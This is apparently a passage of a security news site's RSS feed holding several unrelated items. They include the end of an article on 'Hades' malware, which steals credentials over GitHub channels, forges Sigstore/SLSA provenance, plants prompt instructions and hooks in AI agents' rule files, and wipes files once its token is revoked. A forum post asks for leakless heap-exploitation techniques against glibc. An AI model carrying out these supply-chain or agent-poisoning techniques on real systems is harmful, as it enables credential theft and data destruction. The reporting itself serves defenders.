<p>Why? “Because there’s no reliable defense,” he said. “LLMs are incredibly susceptible to social engineering.” This has been relabeled as prompt engineering, but is essentially just phishing for bots, he pointed out.</p>



<p>“While everyone’s worried about LLM-powered vulnerability discovery and automated exploitation, it’s <a href="https://www.csoonline.com/article/4181514/ai-tools-becoming-hot-commodities-on-ransomware-marketplaces.html" target="_blank">LLM-created smart malware</a> like this, and AI-powered phishing of humans and bots, that keeps me awake at night,” Shipley said.</p>



<h2 class="wp-block-heading">Hades’ crafty worm propagation</h2>



<p>The Hades Campaign command and control (C2) infrastructure uses three independent channels on public GitHub infrastructure to allow its communications to blend in with normal traffic. <a href="https://www.csoonline.com/article/4178412/6-critical-security-gaps-every-ciso-must-address.html" target="_blank">Stolen credentials</a> are encrypted locally in a hybrid fashion (serialized, compressed, and pushed to a newly created public GitHub repository under attackers’ control). Exfiltrated repositories carry the description “Hades — The End for the Damned.”</p>



<p>Researchers noted that a core component of this campaign is its ability to propagate and move laterally across networks. It exploits the very methods meant to protect systems, including Secure Shell (SSH) and Secure Copy Protocol (SCP), OpenID Connect (OIDC),and Supply-chain Levels for Software Artifacts (SLSA).</p>



<p>For instance, when running inside a GitHub Actions workflow runner, the malware checks for OIDC variables, then bypasses registry signature policies and generates cryptographically signed SLSA provenance bundles via Sigstore. It can then fetch target libraries and inject the obfuscated script and JavaScript payload. From there, it can publish compromised versions to the Python Package Index (PyPI) repository and node package manager (npm) using the target’s credentials and the generated Sigstore bundle.</p>



<p>“This ensures that the published package appears to have valid, cryptographically verified build provenance from the organization’s official GitHub Actions build environment,” the researchers explained.</p>



<p>Further, if a harvested GitHub token has write permissions, the malware will target repositories to extract secrets using GitHub Actions runners. This occurs “directly from the runner’s address space without ever writing them to disk or making a suspicious network connection,” the researchers noted.</p>



<p>The malware also targets rule files and configuration directories for 14 different AI agents and systems, planting custom prompt instructions or executing hooks that trigger a <em>bun run bootstrap</em> command when the victim loads or consults the workspace with their AI assistant. Finally, it establishes persistence on the workstation and monitors for the presence of the stolen token; if that token is revoked, it executes a wiper process to erase the user’s files.</p>



<p><em>This article originally appeared on <a href="https://www.infoworld.com/article/4182692/meet-hades-the-malware-that-lies-to-ai-security-agents.html" target="_blank">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[My hot take: most distros would actually be better as lightweight configurable install script wizards. It could drastically improve the ecosystem.]]></title>
<description><![CDATA[I've had a thought for a while now that I think could actually really improve the distro ecosystem, both in terms of user freedom and technical merits: most distros should really just be tiny highly modular install script wizards (preferably with a TUI or GUI available) that just build upon the r...]]></description>
<link>https://tsecurity.de/de/3583430/linux-tipps/my-hot-take-most-distros-would-actually-be-better-as-lightweight-configurable-install-script-wizards-it-could-drastically-improve-the-ecosystem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583430/linux-tipps/my-hot-take-most-distros-would-actually-be-better-as-lightweight-configurable-install-script-wizards-it-could-drastically-improve-the-ecosystem/</guid>
<pubDate>Tue, 09 Jun 2026 05:38:10 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I've had a thought for a while now that I think could actually really improve the distro ecosystem, both in terms of user freedom and technical merits: most distros should really just be tiny highly modular install script wizards (preferably with a TUI or GUI available) that just build upon the root distro that the would-be "distro" would have been derived from, or even target multiple distros by detecting what base distro the script is running on. </p> <p>Optionally, it would also be good if they provide a way to save out a corresponding shell script that repeats the selected options from the TUI/GUI wizard, thereby making it very easy to later concatenate multiple such scripts afterwards however one desires. <em>That</em> (not giant monolithic distros ISOs) should be the norm. It would be far more modular and expressive for users and would waste far less time.</p> <p>Doing so wouldn't even be that hard to implement and in fact I'd say it would probably actually be <em>easier</em> from a first principles standpoint than what is currently the norm in the distro ecosystem.</p> <p>The idea comes from the observation I've had over time (as I've gradually used Linux/Unix more as I've migrated away from Windows and have become more familiar with the distros by trying out so many of them) that generally it seems best to actually base one's system off of whatever is the most ancestral actively maintained <em>real</em> underlying root/parent distro (such as Debian, Arch, Fedora, OpenSuse, Slackware, Gentoo, Void, etc) and to alter it from there.</p> <p>In contrast, many derivative distros that are not really root distros have a bad tendency to make a bunch of ill-conceived adjustments and "monkey patches" to the base distros upon which they build, and those adjustments have a tendency to result in more hindrance than help over time and to greatly increase the chances of instabilities and desynchronization with the root/parent distro. Many distros also waste a great deal of time by installing a bunch of changes to the system that are <em>unwanted</em> right alongside the changes that the user wants. Everyone has had the experience of loving some aspect(s) of a distro but utterly hating other aspect(s) of it. That problem would be greatly lessened if lightweight install script wizards (not monolithic distros) were the most common variants being distributed.</p> <p>It would also be far more transparent, far easier for users to learn from (just read the scripts), and would encourage scripts to be written in ways that decrease the odds of breakages (forcing "distros" to be more portable and more well-grounded on their bases).</p> <p>Granted, some of the biggest derivative distros such as Ubuntu and Linux Mint have <em>some</em> justification for this, but even there I am increasingly finding using them seems to often create a <strong>tower of dependencies</strong> that greatly increases the chances of subtle (hence hard to fix or tedious) problems building up in the system. In fact, that's why I'm coincidentally planning on moving away from Linux Mint soon: even though I've enjoyed my time with Mint as my first daily driver distro (replacing Windows), such derivative distros (I've increasingly realized over time) seem to constantly patch upstream distros in shortsighted and unwittingly harmful ways. It's "death by a thousand needles" of myriad subtle dependency entanglements.</p> <p>Imagine if instead of distributing monolithic distros the community distributed a variety of specialized installer scripts that simply provide the necessary shell commands to customize one or more root/parent/base distros to suit what the user desires and have that all wrapped up in a TUI and/or GUI and/or command-line script that the user can easily select what they want and what they don't want from.</p> <p>If that were the world we lived in, then users could just take whatever parts of each "distro" they want and apply it to their install and leave the parts they <em>don't</em> want behind. That would make it so that even "distros" with just a handful of customizations or application installs would still be useful instead of being merely distracting and misleading and making a mess of things and trying to do too many things at once (as many distros now unfortunately do)!</p> <p>There are even systems that could make creating such easy install script wizards only take a few lines of code. For example, <strong>Tcl/Tk</strong> makes it possible to write a GUI in just a few lines of code and is supported across practically all Linux/Unix systems. Even in C and C++ a GUI can be made swiftly and expressively with something like <strong>FLTK</strong> or <strong>SDL + DearImGUI</strong>. GUIs are not actually as tortuous to create as the big three (Gtk, Qt, wx) would lead many to believe.</p> <p>The present system of giant monolithic distros with barely any modularity or interoperability amongst each other (in terms of customization, not software support), which requires users to download <em>gigabytes</em> of data for <em>kilobytes</em> worth of trivial customization scripting in terms of actual effect is in fact <em>incredibly</em> and <em>staggeringly</em> wasteful and inflexible and even antithetical to user freedom (since you can't easily mix and match distros' components) if you actually think about it from first principles.</p> <p>Imagine if there was a "WizardWatch" website (or whatever other name you prefer) in addition to "DistroWatch" that instead distributed such modular highly polished install scripts. Imagine downloading "shell_customizer_wizard" and "wallpaper_collection_grabber" and so on (just whatever handful of extremely tiny scripts are relevant to you) instead of running around in circles constantly having to make do with dozens of distros that force you to accept both things you like and things you don't and to waste monumental amounts of time and energy and network bandwidth throughout the process.</p> <p>If such a better system became the norm then it could easily drastically improve and empower the whole ecosystem. Small "distros" would no longer be irrelevant and useless, but would instead be lightweight and modular and useful to almost <em>anyone</em>. Hosting costs would drop by like 99% for all the most trivial (not foundational) distros. Users would become much less likely to become exhausted by the search for distros (often giving up on Linux/Unix in the process) and would instead be empowered to quickly build up exactly what they want. This is especially true if the experience is polished. All of it could be more stable and reliable too, since it'd all be small modifications of root distros instead of giant unknown monolith ISOs. </p> <p>Done right, it could be a tremendous improvement I think, causing a domino/ripple effect indirectly bolstering virtually all aspects of the entire Linux/Unix/BSD ecosystem. With both command-line and TUI/GUI support, it would also be made to be easy for everyone, both newbie and expert alike.</p> <p>Anyway, that's my thoughts on the idea. Thanks for reading and have a good day/night/etc! </p> <p>Keep fighting the good fight. It's wonderful that Linux and the Unix/BSD systems exist. Society needs more freedom and morally-grounded respect for human dignity now more than ever, etc!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/WraithGlade"> /u/WraithGlade </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1u0tl69/my_hot_take_most_distros_would_actually_be_better/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1u0tl69/my_hot_take_most_distros_would_actually_be_better/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting RCE without an info leak]]></title>
<description><![CDATA[Hi, I have a question to the more experienced exploit devs: I'm currently on a challenge where I'm exploiting a heap-based buffer OOB write. I'm able to overwrite the arena completely wherever I want (malloc_state, tcache, ...) and I'm also able to arbitrarily malloc() any sized buffer and write ...]]></description>
<link>https://tsecurity.de/de/3583302/malware-trojaner-viren/getting-rce-without-an-info-leak/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583302/malware-trojaner-viren/getting-rce-without-an-info-leak/</guid>
<pubDate>Tue, 09 Jun 2026 03:47:45 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi,</p> <p>I have a question to the more experienced exploit devs:</p> <p>I'm currently on a challenge where I'm exploiting a heap-based buffer OOB write. I'm able to overwrite the arena completely wherever I want (malloc_state, tcache, ...) and I'm also able to arbitrarily malloc() any sized buffer and write attacker controlled bytes to that new buffer, multiple times.</p> <p>I'm struggling though because the binary has no infoleak or anything, it's not a server/daemon based binary where I can launch an info leak first and bypass ASLR like that. It's the last challenge, a difficult challenge to say the least. But I feel like the ability to poison tcache and then call malloc on any tcachebin (and do this N times) is a powerfull primitive, and I get this itch that this should be powerfull enough to do some feng shui stuff that gets me RCE.</p> <p>I'm wondering what techiques has gotton you leakless RCE before? Stuff like house of Roman isn't possible because I'm on glibc 2.43 (latest) so safelinking is present. Could anyone point me in the right direction? House of Apples 2 also needs STDOUT which I don't have.</p> <p>Details:</p> <p>It's a Linux 64bit ELF binary, all protections enabled (aslr, stack canaries, pie and full relro) with glibc 2.43.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Lmao_vogreward_shard"> /u/Lmao_vogreward_shard </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1u0dawc/getting_rce_without_an_info_leak/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1u0dawc/getting_rce_without_an_info_leak/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[This The Elder Scrolls Online story is getting new content 10 years later in Season 1 — the MMO gets a slick new trailer at Xbox Games Showcase 2026]]></title>
<description><![CDATA[The Elder Scrolls Online Season 1 got a sweet new trailer at the Xbox Games Showcase, with the devs teasing a brand new Thieves Guild storyline.]]></description>
<link>https://tsecurity.de/de/3579783/windows-tipps/this-the-elder-scrolls-online-story-is-getting-new-content-10-years-later-in-season-1-the-mmo-gets-a-slick-new-trailer-at-xbox-games-showcase-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3579783/windows-tipps/this-the-elder-scrolls-online-story-is-getting-new-content-10-years-later-in-season-1-the-mmo-gets-a-slick-new-trailer-at-xbox-games-showcase-2026/</guid>
<pubDate>Sun, 07 Jun 2026 19:51:48 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Elder Scrolls Online Season 1 got a sweet new trailer at the Xbox Games Showcase, with the devs teasing a brand new Thieves Guild storyline.]]></content:encoded>
</item>
<item>
<title><![CDATA[GZML Shell – A Familiar Home for Noctalia v4 Users]]></title>
<description><![CDATA[GZML Shell – A Familiar Home for Noctalia v4 Users With Noctalia V5 moving toward a C++-based architecture, I know there are still plenty of users who enjoy the Quickshell based experience that V4 provided. That's one of the reasons I started building GZML Shell. GZML Shell began as a personal pr...]]></description>
<link>https://tsecurity.de/de/3578661/linux-tipps/gzml-shell-a-familiar-home-for-noctalia-v4-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578661/linux-tipps/gzml-shell-a-familiar-home-for-noctalia-v4-users/</guid>
<pubDate>Sun, 07 Jun 2026 03:53:44 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>GZML Shell – A Familiar Home for Noctalia v4 Users</p> <p>With Noctalia V5 moving toward a C++-based architecture, I know there are still plenty of users who enjoy the Quickshell based experience that V4 provided. That's one of the reasons I started building GZML Shell.</p> <p>GZML Shell began as a personal project and experiment, but it has grown into a standalone shell based on the Noctalia V4 foundation while adding new features, bug fixes, and quality of life improvements along the way.</p> <p>Some highlights include:</p> <p>• Video playback support for the lock screen</p> <p>• Improved profile handling and synchronization options</p> <p>• Support for both bundled and user installed plugins</p> <p>• Compatibility layers for existing Noctalia plugins</p> <p>• Cleaner separation between shell files and user configuration</p> <p>• Numerous backend fixes and usability improvements</p> <p>One feature I specifically wanted to keep was an easy migration path. If you're coming from Noctalia V4, you can simply copy your existing settings, profiles, and configuration files into the appropriate GZML Shell config directory after install and continue using your setup with minimal hassle.</p> <p>The goal isn't to replace Noctalia or compete with the V5 effort it's simply to provide an option for users who prefer the Quickshell workflow and want a smoother transition without rebuilding everything from scratch.</p> <p>The project is fully open source, and all code is available for anyone to inspect, modify, or contribute to.</p> <p>If you'd like to test it out, provide feedback, report bugs, or follow development, check out the GitHub repository:</p> <p><a href="https://github.com/zero-j89/gzml_shell">https://github.com/zero-j89/gzml_shell</a></p> <p>I'm especially interested in hearing which Noctalia plugins people use most often so I can prioritize long-term compatibility and native support moving forward.</p> <p>Of course I want to give a special thanks to the noctalia devs for all their hard work. </p> <p>Edit: I Went ahead and added a new migration utility so users can cleanly migrate their stuff from Noctalia to gzml-shell without breaking any configs! Check the readme for info!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/GroundZeroMycoLab"> /u/GroundZeroMycoLab </a> <br> <span><a href="https://i.redd.it/mbfjyferqp5h1.png">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1tyqbaa/gzml_shell_a_familiar_home_for_noctalia_v4_users/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hiring cleared exploit researchers / capability devs in MA]]></title>
<description><![CDATA[submitted by    /u/roguetalent   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3578653/malware-trojaner-viren/hiring-cleared-exploit-researchers-capability-devs-in-ma/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578653/malware-trojaner-viren/hiring-cleared-exploit-researchers-capability-devs-in-ma/</guid>
<pubDate>Sun, 07 Jun 2026 03:47:40 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/roguetalent"> /u/roguetalent </a> <br> <span><a href="https://www.reddit.com/r/clearancejobs/comments/1tyilp5/hiring_cleared_reverse_engineers_exploit/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1tyimno/hiring_cleared_exploit_researchers_capability/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Day of the Devs - Summer Game Fest 2026 highlights]]></title>
<description><![CDATA[Another event with some real gems were shown off! Here's the round-up highlights of Day of the Devs - Summer Game Fest 2026 for you.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3578239/linux-tipps/day-of-the-devs-summer-game-fest-2026-highlights/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578239/linux-tipps/day-of-the-devs-summer-game-fest-2026-highlights/</guid>
<pubDate>Sat, 06 Jun 2026 20:53:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Another event with some real gems were shown off! Here's the round-up highlights of Day of the Devs - Summer Game Fest 2026 for you.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/452328977id29162gol.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/day-of-the-devs-summer-game-fest-2026-highlights/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patching fast and slow: Ruby devs delay to defend against supply chain attack]]></title>
<description><![CDATA[The team behind RubyGems, a package hosting site for Ruby developers, has added a new feature to bundler, a tool for managing Ruby packages (or ‘gems’) to protect developers against the recent wave of software supply chain attacks: A cooling-off period before recently updated packages are install...]]></description>
<link>https://tsecurity.de/de/3576177/ai-nachrichten/patching-fast-and-slow-ruby-devs-delay-to-defend-against-supply-chain-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576177/ai-nachrichten/patching-fast-and-slow-ruby-devs-delay-to-defend-against-supply-chain-attack/</guid>
<pubDate>Fri, 05 Jun 2026 19:19:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The team behind RubyGems, a package hosting site for Ruby developers, has added a new feature to bundler, a tool for managing Ruby packages (or ‘gems’) to protect developers against the recent wave of <a href="https://www.csoonline.com/article/4081492/modern-supply-chain-attacks-and-their-real-world-impact.html">software supply chain attacks</a>: A cooling-off period before recently updated packages are installed on their systems.</p>



<p>Recent <a href="https://www.csoonline.com/article/4179866/infected-red-hat-npm-packages-expose-developer-credentials.html">attacks on software repositories</a> have focused on stealing developer credentials in order to introduce malicious code into the packages they create, which then steals more developers’ credentials when they install the malicious updates, and so on. Users of the repositories are vulnerable if they download an affected package during the short interval between it being interfered with and the malicious additions being discovered and removed.</p>



<p>To counteract this, RubyGems team has added <a href="https://blog.rubygems.org/2026/06/03/cooldown-let-new-gems-be-vetted.html" target="_blank" rel="noreferrer noopener">a new cooldown argument to Bundler</a> that takes ignores gems until they have been published for a specified number of days. This provides an additional layer of defense against malicious package releases as it gives others an opportunity to identify any malicious code they contain before installation.</p>



<p>The cooldown system works by checking the timestamp of any new versions of gems. Any new additions to the source will have to come from older versions, any new additions will be delayed until they are validated.</p>



<p>In situations where waiting is unhelpful — for instance when a known-good package is released to patch a dangerous security flaw — the delay can be overridden.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patching fast and slow: Ruby devs delay to defend against supply chain attack]]></title>
<description><![CDATA[The team behind RubyGems, a package hosting site for Ruby developers, has added a new feature to bundler, a tool for managing Ruby packages (or ‘gems’) to protect developers against the recent wave of software supply chain attacks: A cooling-off period before recently updated packages are install...]]></description>
<link>https://tsecurity.de/de/3576120/it-security-nachrichten/patching-fast-and-slow-ruby-devs-delay-to-defend-against-supply-chain-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576120/it-security-nachrichten/patching-fast-and-slow-ruby-devs-delay-to-defend-against-supply-chain-attack/</guid>
<pubDate>Fri, 05 Jun 2026 19:07:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The team behind RubyGems, a package hosting site for Ruby developers, has added a new feature to bundler, a tool for managing Ruby packages (or ‘gems’) to protect developers against the recent wave of <a href="https://www.csoonline.com/article/4081492/modern-supply-chain-attacks-and-their-real-world-impact.html">software supply chain attacks</a>: A cooling-off period before recently updated packages are installed on their systems.</p>



<p>Recent <a href="https://www.csoonline.com/article/4179866/infected-red-hat-npm-packages-expose-developer-credentials.html">attacks on software repositories</a> have focused on stealing developer credentials in order to introduce malicious code into the packages they create, which then steals more developers’ credentials when they install the malicious updates, and so on. Users of the repositories are vulnerable if they download an affected package during the short interval between it being interfered with and the malicious additions being discovered and removed.</p>



<p>To counteract this, RubyGems team has added <a href="https://blog.rubygems.org/2026/06/03/cooldown-let-new-gems-be-vetted.html" target="_blank" rel="noreferrer noopener">a new cooldown argument to Bundler</a> that takes ignores gems until they have been published for a specified number of days. This provides an additional layer of defense against malicious package releases as it gives others an opportunity to identify any malicious code they contain before installation.</p>



<p>The cooldown system works by checking the timestamp of any new versions of gems. Any new additions to the source will have to come from older versions, any new additions will be delayed until they are validated.</p>



<p>In situations where waiting is unhelpful — for instance when a known-good package is released to patch a dangerous security flaw — the delay can be overridden.</p>



<p><em>This article first appeared on <a href="https://www.infoworld.com/article/4181836/patching-fast-and-slow-ruby-devs-delay-to-defend-against-supply-chain-attack.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic says 80% of its new production code is now authored by Claude — how your enterprise can keep up]]></title>
<description><![CDATA[Anthropic co-founder and CEO Dario Amodei said it was coming, but it still feels like a milestone: More than 80% of the code merged into Anthropic’s production codebase in May wasn't authored by humans, but by its own AI model, Claude, according to a new report shared by the record-breaking AI st...]]></description>
<link>https://tsecurity.de/de/3573872/it-nachrichten/anthropic-says-80-of-its-new-production-code-is-now-authored-by-claude-how-your-enterprise-can-keep-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3573872/it-nachrichten/anthropic-says-80-of-its-new-production-code-is-now-authored-by-claude-how-your-enterprise-can-keep-up/</guid>
<pubDate>Thu, 04 Jun 2026 22:47:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Anthropic co-founder and CEO Dario Amodei <a href="https://medium.com/@coders.stop/dario-amodei-said-90-of-code-will-be-ai-written-in-6-months-6b8060720d97">said it was coming</a>, but it still feels like a milestone: More than 80% of the code merged into Anthropic’s production codebase in May wasn't authored by humans, but by its own AI model, Claude, according to a <a href="https://www.anthropic.com/institute/recursive-self-improvement">new report shared by the record-breaking AI startup today.</a></p><p>This transformation has triggered an<a href="https://x.com/AnthropicAI/status/2062568864240836995"> 8x increase in the volume of code</a> shipped per engineer per quarter compared to the company’s 2021–2025 baseline, which the company notes means even more code someone or something must review.</p><p>For enterprise technical leaders, this is no longer a localized research curiosity; it's a new, aggressive competitive baseline. </p><p>If a frontier AI laboratory can successfully offload the vast majority of its engineering output to autonomous agents — showing signs of the long-sought AI Holy Grail of "<a href="https://en.wikipedia.org/wiki/Recursive_self-improvement">recursive self-improvement</a>," models that can independently research and upgrade themselves — what's preventing enterprises across other sectors from automating more of their internal software development with AI agents, too? </p><p>Obviously, it's easier said than done. Anthropic is one of the principle creators of the current gen AI boom, so you'd expect them to know how to deploy the technology effectively.</p><p>But for other enterprises looking to bump up the amount of code and workflows handled by agents, Anthropic's new blog post details the outlines of a general plan they too can adopt to re-engineer their operations and workflows to take advantage of the latest AI advances. </p><h2><b>Anthropic's roadmap that other enterprises can follow</b></h2><p>The transition from human-centric coding to autonomous orchestration requires understanding the evolution of AI capabilities. Anthropic outlines a clear historical continuum that enterprises can map onto their own digital transformation roadmaps: </p><ul><li><p><b>2021–2023 (Manual Writing):</b> Engineers write code and documentation natively within local text editors. </p></li><li><p><b>2023–2025 (Chatbot Assistance):</b> Developers use early models to generate brief code snippets, copying and pasting outputs manually into their environments. </p></li><li><p><b>2025–2026 (Coding Agents):</b> Capable agents actively write and edit entire files autonomously. </p></li><li><p><b>Present Day (Autonomous Agents):</b> Agents execute code independently, debug live environments, and delegate multi-hour work streams to specialized sub-agents. </p></li></ul><p>This rapid evolution is validated by external benchmarks. Software engineering evaluation frameworks like SWE-bench—which tasks models with resolving real bug reports in complex, open-source codebases—have saturated over a two-year window. </p><p>Furthermore, long-duration capability evaluations demonstrate that models like Claude Opus 4.6 can reliably sustain operations on 12-hour tasks, while Claude Mythos Preview pushes past 16 hours of continuous problem-solving. </p><p>Internally, the technological leap is even more stark. On highly complex, open-ended engineering problems where clear specifications are initially absent, Claude’s success rate climbed to 76% in May 2026 — a 50-point increase in a six-month window. </p><p>In isolated optimization benchmarks, where models are tasked with accelerating AI model training code, Anthropic’s internal Mythos Preview model achieved a 52x speedup. </p><p>For comparison, a skilled human developer typically requires four to eight hours of manual refactoring to achieve a mere 4x speedup on the exact same codebase. </p><h2><b>3-step plan to more complete production code automation</b></h2><p>For an enterprise to replicate Anthropic's 80 percent milestone, technical decision-makers must abandon the "developer assistant" mental model and transition to an "automated factory" architecture. This shift impacts product management, operations, and developer workflows in three distinct ways: </p><h3>1. Shift from Code Execution to Architectural Oversight</h3><p>When code generation costs near zero in human time, the primary engineering role shifts from writing software to specifying goals and reviewing outputs. Enterprise leaders must retrain developers to act as systems architects and judges. As one Anthropic employee noted regarding the operational reality of this shift: </p><blockquote><p>"The shape of stuff today is roughly ‘humans have ideas, and the models are able to implement, test and evaluate them an [order of magnitude] faster than before.’" </p></blockquote><h3>2. Overcome The Code Review Bottleneck</h3><p>Injecting vast quantities of AI-generated code into an organization inevitably creates operational friction.</p><p>According to <a href="https://en.wikipedia.org/wiki/Amdahl%27s_law">Amdahl’s law</a>, the speedup of any process is strictly limited by its serial, non-automated bottlenecks.</p><p>At Anthropic, flooding the system with synthetic code instantly turned human code review into a critical bottleneck. </p><p>To counter this, enterprise teams must deploy automated AI code reviewers directly into their Continuous Integration/Continuous Deployment (CI/CD) pipelines. </p><p>Anthropic implemented an automated Claude reviewer (a publicly accessible version, <a href="https://venturebeat.com/technology/anthropic-rolls-out-code-review-for-claude-code-as-it-sues-over-pentagon">Claude Code Review</a> rolled out for commercial usage in March) tasked with analyzing every pull request for architectural defects, security flaws, and regression bugs before merging. Other dedicated firms like <a href="https://venturebeat.com/programming-development/qodo-teams-up-with-google-cloud-to-provide-devs-with-free-ai-code-review-tools-directly-within-platform">Qodo</a> offer tools tailor-made for this purpose, as well. </p><p>In Anthropic's case, retrospective analyses indicated that the automated layer caught approximately one-third of the production bugs responsible for historical outages on the flagship claude.ai website.</p><h3>3. Target High-Volume Operational Debt</h3><p>Enterprises are frequently paralyzed by legacy code maintenance and long-deferred technical debt. Rather than deploying agents to write speculative new features, technical leaders should direct autonomous agents toward closed-loop, painstaking cleanup operations.</p><p>In April 2026, an Anthropic engineer deployed Claude to resolve a persistent class of API errors. Operating autonomously, the model shipped more than 800 individual fixes, successfully reducing the error rate by a factor of 1,000. </p><p>The supervising engineer estimated that a human developer would have spent four full years executing the same work, due to the cognitive load of holding massive, unfamiliar code context in their head simultaneously. </p><h2><b>Considerations for enterprises moving forward in an age of primarily AI-generated code</b></h2><p>Operating a codebase predominantly authored by AI introduces unique governance challenges that enterprise legal and security teams must navigate.</p><p>Unlike open-source licensing models (such as the permissive MIT license or copyleft GPL frameworks), enterprise codebases utilizing proprietary LLM infrastructure remain subject to the commercial terms of service of the respective AI vendor. </p><p>The deployment of autonomous agents requires rigorous verification protocols to ensure compliance, security, and intellectual property protection:</p><ul><li><p><b>Code Quality and Maintenance:</b> Anthropic’s internal data indicates that while AI-authored code was objectively lower in quality than human output in late 2025, it reached rough parity by mid-2026, with expectations to surpass human standards within the year. Enterprise governance must adapt to a reality where the baseline quality of automated output is structurally superior to average manual coding. </p></li><li><p><b>Security Auditing at Scale:</b> The sheer volume of automated code creation demands automated vulnerability discovery. Anthropic’s Project Glasswing illustrates the scale of this issue: utilizing Mythos Preview, the project identified more than 10,000 high- and critical-severity software vulnerabilities across global digital infrastructure within its first few weeks. This shifted the enterprise cybersecurity challenge entirely from vulnerability <i>discovery</i> to patch <i>deployment</i> velocity. </p></li><li><p><b>The Risk of Alignment Cascades:</b> Technical leaders must maintain strict verification gates. If an enterprise uses an AI system to continuously modify, maintain, and expand its proprietary software infrastructure, undetected errors or subtle misalignments can compound over successive agent sessions, gradually corrupting system integrity or introducing security exploits that escape human notice. </p></li></ul><h2><b>Brace for internal enterprise culture disruption</b></h2><p>The transition to an AI-dominated codebase is altering the cultural dynamics of engineering teams, introducing both unprecedented efficiency and deep psychological friction.</p><p>Publicly, Anthropic framed these metrics as a harbinger of a broader transformation. In an <a href="https://x.com/AnthropicAI/status/2062568862479208923">official statement on X</a>, the company observed:</p><blockquote><p>"Our internal data shows Claude is accelerating AI development—a possible path to recursive self-improvement, or AI autonomously building a more capable successor. It’s happening faster than we thought, and the implications deserve greater attention." </p></blockquote><p>They expanded on the immediate productivity implications shortly thereafter:</p><blockquote><p>"Today, Anthropic engineers on average ship 8x as much code per quarter as they did compared to 2021-2025... Many engineers also say Claude’s code quality is now on par with human code; we expect it to be better within the year." </p></blockquote><p>Behind these corporate metrics lies a complex human reality. Internal employee communications reveal a distinct erosion of traditional workplace collaboration, as peer-to-peer developer interaction is systematically replaced by asynchronous agent calls:</p><blockquote><p>"Work (and life) ran on a gift economy of small favors between humans. ‘Can you help me get this script running?’ [...] each one created a little debt, a little mutual awareness. Claude has eaten the favors. It’s faster, it creates zero debt, but each of these is a lost bid for human collaboration." </p></blockquote><p>For individual contributors, the total automation of their primary skill set introduces acute professional anxiety regarding relevance and systemic control:</p><blockquote><p>"I started leaning hard into Claudifying about a year ago. That’s been a crazy adventure and it’s now been ~5 months since I last wrote any code myself." </p></blockquote><blockquote><p>"On days where everything works well, I can’t help but think nothing I do matters, everything is automated and better and faster than I ever will be. But then there are days where everything breaks and I don't understand why and I realize I have no idea what I’ve been up to anymore." </p></blockquote><p>Enterprise leaders aiming to match Anthropic’s technical velocity cannot afford to ignore these psychological dynamics. </p><p>Achieving an 80 percent automated codebase requires more than purchasing API tokens or configuring agent loops; it demands a total cultural overhaul, a strategy for mitigating developer obsolescence anxiety, and the implementation of rigorous, automated verification guardrails to maintain ultimate human control over the software stack. </p>]]></content:encoded>
</item>
<item>
